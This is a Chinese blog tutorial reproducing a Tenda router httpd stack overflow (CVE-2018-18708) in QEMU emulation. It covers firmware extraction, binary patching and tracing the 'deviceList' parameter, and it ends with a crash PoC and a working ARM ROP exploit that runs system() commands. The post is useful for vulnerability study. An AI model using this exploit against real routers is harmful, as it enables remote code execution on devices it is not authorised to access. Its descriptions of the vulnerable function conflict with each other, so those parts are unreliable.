0


【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

1 漏洞概述

在这里插入图片描述
从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述。

An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a buffer overflow vulnerability in the router’s web server – httpd. When processing the “page” parameter of the function “fromAddressNat” for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.

CVE-2018-18708,在Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN等多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可以利用该漏洞,覆盖函数的返回地址,造成拒绝服务攻击。

2 环境搭建

2.1 ubuntu20.04系统下的qemu虚拟机启动debian-arm32系统配置流程

拷贝镜像文件
在这里插入图片描述
ubuntu安装网桥工具

# docker容器安装sudoaptinstall docker.io
sudo systemctl start dockersudoaptinstall net-tools
ifconfig

在这里插入图片描述

sudoapt-get update
sudoapt-getinstall uml-utilities bridge-utils ifupdown
# 网络设置# 链接网桥和借口sudo tunctl -t tap0
sudoifconfig tap0 up
sudo brctl addif docker0 tap0

在这里插入图片描述

sudoapt update         # 更新aptsudoaptinstall qemu    # 安装qemusudoaptinstall qemu-system-arm qemu

#通过qemu启动配置完成的Debian-armhf系统sudo qemu-system-arm \-M vexpress-a9 \-kernel vmlinuz-3.2.0-4-vexpress \-initrd initrd.img-3.2.0-4-vexpress \-driveif=sd,file=debian_wheezy_armhf_standard.qcow2 \-append"root=/dev/mmcblk0p2 console=ttyAMA0"\-net nic -net tap,ifname=tap0,script=no,downscript=no \-nographic

在这里插入图片描述

#上述命令执行后,会出现debian-armhf login: ,账号密码都是rootip addr add172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1

2.2 固件模拟

2.2.1 解压固件

首先把固件文件拷贝到文件夹中,然后在终端里将固件解压。进入固件文件夹,根据elf文件头查看一下文件信息。

sudoapt-getinstall binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox

在这里插入图片描述
32位小端,之后反编译的时候用IDA32反编译。

2.2.2 试运行漏洞文件

我们首先使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpd。使用的命令如下

sudoaptinstall qemu-user-static
cp$(which qemu-arm-static) ./
sudochroot ./ ./qemu-arm-static ./bin/httpd

在这里插入图片描述

我们发现程序出现一个错误,不存在

/proc/sys/kernel/core_pattern

这样一个文件夹,并且程序的执行,卡在了上图字符串的位置。

首先,我们使用一下指令创建一个程序需要的文件夹。

mkdir-p ./proc/sys/kernel
2.2.3 patch二进制文件

为了使程序能继续进行下去,我们在IDA中通过字符串搜索(ctrl+F)

Welcome

字符串,使用

ctrl+x

查看交叉引用进入到打印了该字符串的函数。
在这里插入图片描述
明显的此处我们程序运行到第42行时,因为

check_network

返回的值,程序进入了死循环。
在图视图中看一下,这里是一条

BL

指令,然后将函数的返回值从

r0

中,转移到

r3

中,为了是我们的程序能绕过此处的死循环,我们可以使用IDA提供的

patch bytes

功能将

MOV R3, R0

替换成

MOV R3, #1

,这样我们的程序就可以按照我们设想的流程进行下去,两处的逻辑相同,可使用同一种方法进行绕过。
在这里插入图片描述
我们借助rasm2工具翻译汇编指令到机器指令,使用的指令如下。

sudoaptinstall radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"

在这里插入图片描述
IDA中

Edit->Patch program->change byte

更改鼠标指针处的字节。
在这里插入图片描述
pathch过后的十六进制视图和图视图如下:
在这里插入图片描述
在这里插入图片描述
然后,

Edit->Patch program->Apply patches to input file

将我们的更改保存进二进制文件。

2.2.4 更改监听IP地址

更换掉httpd文件,此时我们重新运行,程序正常运行。
在这里插入图片描述
此时的监听的ip地址不对,我们配置一下网络,建立一个虚拟网桥br0,并再次运行。

sudo brctl addbr br0    
sudoifconfig br0 172.17.0.222 up

在这里插入图片描述
尝试访问一下页面,还是出现错误。
在这里插入图片描述

按照0431师傅的做法执行以下指令,然后刷新一下就正常了。

cp-rf ./webroot_ro/* ./webroot/

在这里插入图片描述

2.2.5 使用到的PWN工具安装

主要使用到了ROPgadget,pwngdb以及pwntools。

#安装pwntools以及ropgadget,还有后面要用到的pwngdbsudoaptinstallvimsudoaptinstallgitsudoaptinstall gcc
sudoaptinstall python3-pip
sudoaptinstall python-is-python3
sudoapt-getinstall qemu-user qemu-system
sudoapt-getinstall gdb-multiarch

cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudoapt-getinstall python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install--upgrade pip
python3 -m pip install--upgrade pwntools

cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py installcd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudoaptinstall python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh

至此,环境配置结束。

3 漏洞分析

首先在bin文件中找到存在漏洞的文件

httpd

,使用checksec看一下开启的保护:
在这里插入图片描述
32位程序,可以发现没有开启PIE和 canary保护。漏洞原因是web服务器在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到

form_fast_setting_wifi_set

函数。
在这里插入图片描述
程序获取ssid参数后,没有经过检查就直接使用

strcpy

函数复制到栈变量中。

漏洞的跟踪与分析一般有两种思路:

  • 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑
  • 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。

根据官方给出的PoC,可以定位到漏洞点的位置,在函数

sub_C24C0


在这里插入图片描述

3.1 逆向分析回溯函数的调用关系

因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪方式。在之前我们patch byte时,程序已经执行到了

sub_2E420

,而溢出点在

sub_C24C0

,我们将这两个函数中间的函数调用过程都通过IDA中的调用关系(单击函数名,按x查看调用了此函数的所有函数),全部梳理出来。
在这里插入图片描述
得到调用链为:sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数),分析清楚了触发漏洞的路径。

3.2 逆向数据流跟踪参数来源

跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
(1)被溢出的缓冲区a2来自sub_C24C0函数的上一级函数sub_C17A0的v12,缓冲区的长度为176。
在这里插入图片描述
(2)溢出的字符串src的来源
src ← sub_C24C0函数的a1← sub_C17A0的a2参数 ← sub_C14DC的a2参数 ← formSetMacFilterCfg函数的v39 ← sub_2BA8C(v3, “deviceList”, &unk_F5124)函数的返回值。
在这里插入图片描述
一路查看参数引用跟上来还是挺简单的。
在这里插入图片描述
由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。

3.3 调用路径中的分支跳转条件分析

我们看一下之前的函数关系,以及src参数的来源,基本上路径上是吻合的。
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数)
我们从sub_2E420函数开始,逐一查看路径中的分支跳转。
(1) sub_2E9EC<- sub_2E420
网络监测后,无分支。
(2) sub_42378 <- sub_2E9EC
有分支判断,但条件已经满足。
(3) formSetMacfiltercfg <- sub_42378
在这里插入图片描述
该函数中有不同功能的处理函数。请求达到的路径,会调用相应的处理函数,我们需要找到函数formSetMacfiltercfg 的路径。要进入formSetMacfiltercfg函数需要访问"/goform/setMacFilterCfg"。
(4) sub_C14DC <- formSetMacfiltercfg
在这里插入图片描述
需要让v19=0,而v19来自于sub_C10D0函数对macFilterType的参数处理。
进入sub_C10D0函数看看macFilterType需要如何设置,只需要a1等于"black"或者"white"即可返回0。
在这里插入图片描述
data = {“macFilterType”:“white”,“deviceList”:payload}
(5) sub_C17A0 <- sub_C14DC
有分支判断,但条件已经满足。
(6) sub_C24C0 <- sub_C17A0
有分支判断,但条件已经满足。
**(7) sub_C24C0 **
在这里插入图片描述

3.4 漏洞触发

结合抓包分析报文确定poc格式为:

import requests
 
url ="http://192.168.2.3/goform/setMacFilterCfg"
cookie ={"Cookie":"password=12345"}
data ={"macFilterType":"white","deviceList":"\r"+"A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)print(response.text)

用到的终端命令为:

# 第一个终端sudochroot ./ ./qemu-arm-static -g1234 ./bin/httpd

# 第二个终端
gdb-multiarch
target remote :1234
continue#第三个终端
执行python脚本

运行PoC后成功的覆盖了返回地址,PC寄存器的值。
在这里插入图片描述

4 漏洞利用

(1) 寻找偏移量
利用cyclic找到偏移量
在这里插入图片描述
这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。这里图中所示T是0。
在这里插入图片描述
(2) 确定利用方案
在这里插入图片描述
之前我们对httpd文件进行的保护机制检查,程序开启了NX保护,无法直接执行栈中的shellcode,我们使用ROP技术来绕过NX。初步的思路是:

    1. 将system函数地址写入某寄存器。
    1. 向r0寄存器中填入内容(即system函数的参数),并跳转到system函数。
    1. 我们还需要libc.so的基地址。
    1. system函数在libc中的偏移。

libc基地址
首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff5c1cd4,在IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 - 0x35cd4 = 0xff58c000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。

sudochroot ./ ./qemu-arm-static -g1234 ./bin/httpd

gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continuecontinue

在这里插入图片描述
获取system函数偏移量

readelf -s ./lib/libc.so.0 |grep system

在这里插入图片描述
找到一个可以控制R0的gadget

ROPgadget --binary ./lib/libc.so.0  |grep"mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3

在这里插入图片描述
跳转到R3的gadget

ROPgadget --binary ./lib/libc.so.0 --only"pop"|grep r3
0x00018298 : pop {r3, pc}

在这里插入图片描述
最终 payload格式为:[offset, gadget1, system_addr, gadget2, cmd],流程如下:

  1. 溢出处函数返回跳转到第一个gadget1 (pop {r3, pc}) ;
  2. 栈顶第一个元素(system_addr弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
  3. 此时的栈顶内容(cmd)放入RO寄存器,并使程序跳转到R3寄存器指 向的地址去执行。 整理后我们的POC为:
from pwn import*import requests

#cmd = "echo PWN!"

cmd =b"echo PWN!"
libc_base =0xff58c000
system = libc_base +0x5A270
mov_r0_ret_r3 = libc_base +0x40cb8
pop_r3 = libc_base +0x18298

payload =b'a'*176#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3)+ p32(system)+ p32(mov_r0_ret_r3)+ cmd

url ="http://172.17.0.222/goform/setMacFilterCfg"

cookie ={"Cookie":"password=12345"}
data ={"macFilterType":"black","deviceList":b"\r"+ payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)print(response.text)

执行之后可以看到输出了"PWN!"。
在这里插入图片描述

附件

1 完整的命令流程

# docker容器安装sudoaptinstall docker.io
sudo systemctl start dockersudoaptinstall net-tools
ifconfigsudoapt-get update
sudoapt-getinstall uml-utilities bridge-utils ifupdown
# 网络设置# 链接网桥和借口sudo tunctl -t tap0
sudoifconfig tap0 up
sudo brctl addif docker0 tap0

sudoapt update         # 更新aptsudoaptinstall qemu    # 安装qemusudoaptinstall qemu-system-arm qemu

#通过qemu启动配置完成的Debian-armhf系统sudo qemu-system-arm \-M vexpress-a9 \-kernel vmlinuz-3.2.0-4-vexpress \-initrd initrd.img-3.2.0-4-vexpress \-driveif=sd,file=debian_wheezy_armhf_standard.qcow2 \-append"root=/dev/mmcblk0p2 console=ttyAMA0"\-net nic -net tap,ifname=tap0,script=no,downscript=no \-nographic#上述命令执行后,会出现debian-armhf login: ,账号密码都是rootip addr add172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1

# 固件模拟,解压固件sudoapt-getinstall binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox

#使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpdsudoaptinstall qemu-user-static
cp$(which qemu-arm-static) ./
sudochroot ./ ./qemu-arm-static ./bin/httpd

# 修复错误,绕过死循环mkdir-p ./proc/sys/kernel
sudoaptinstall radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"# 修复ip错误sudochroot ./ ./qemu-arm-static ./bin/httpd
sudolsof-i:80# 添加br0虚拟网卡sudo brctl addbr br0    
sudoifconfig br0 172.17.0.222 up

# 解决网页错误问题cp-rf ./webroot_ro/* ./webroot/

#安装pwntools以及ropgadget,还有后面要用到的pwngdbsudoaptinstallvimsudoaptinstallgitsudoaptinstall gcc
sudoaptinstall python3-pip
sudoaptinstall python-is-python3
sudoapt-getinstall qemu-user qemu-system
sudoapt-getinstall gdb-multiarch

cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudoapt-getinstall python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install--upgrade pip
python3 -m pip install--upgrade pwntools

cd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudoaptinstall python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh

cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install# 如果依旧出现类似这样的错误# pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-info'# 使用如下指令,将ROPgadget文件夹中的scripts文件夹拷贝到他要的文件夹# sudo cp -r scripts/ /home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-infosudobash-c"echo 0 > /proc/sys/kernel/randomize_va_space"# 漏洞触发sudochroot ./ ./qemu-arm-static -g1234 ./bin/httpd

gdb-multiarch
target remote :1234
continue# 漏洞利用
readelf -s ./lib/libc.so.0 |grep system
ROPgadget --binary ./lib/libc.so.0  |grep"mov r0, sp"
ROPgadget --binary ./lib/libc.so.0 --only"pop"|grep r3

sudochroot ./ ./qemu-arm-static -g1234 ./bin/httpd
gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continuecontinue

2 漏洞触发PoC

import requests

url ="http://172.17.0.222/goform/setMacFilterCfg"
cookie ={"Cookie":"password=12345"}
data ={"macFilterType":"white","deviceList":"\r"+"A"*500}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)

3 漏洞利用PoC

from pwn import*import requests

#cmd = "echo PWN!"

cmd =b"echo PWN!"
libc_base =0xff58c000
system = libc_base +0x5A270
mov_r0_ret_r3 = libc_base +0x40cb8
pop_r3 = libc_base +0x18298

payload =b'a'*176#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3)+ p32(system)+ p32(mov_r0_ret_r3)+ cmd

url ="http://172.17.0.222/goform/setMacFilterCfg"

cookie ={"Cookie":"password=12345"}
data ={"macFilterType":"black","deviceList":b"\r"+ payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)print(response.text)

参考链接

[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)
CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析
CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)

标签: 路由器 安全 linux

本文转载自: https://blog.csdn.net/m0_55368674/article/details/128939608
版权归原作者 Razors_ 所有, 如有侵权,请联系我们删除。

“【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)”的评论:

还没有评论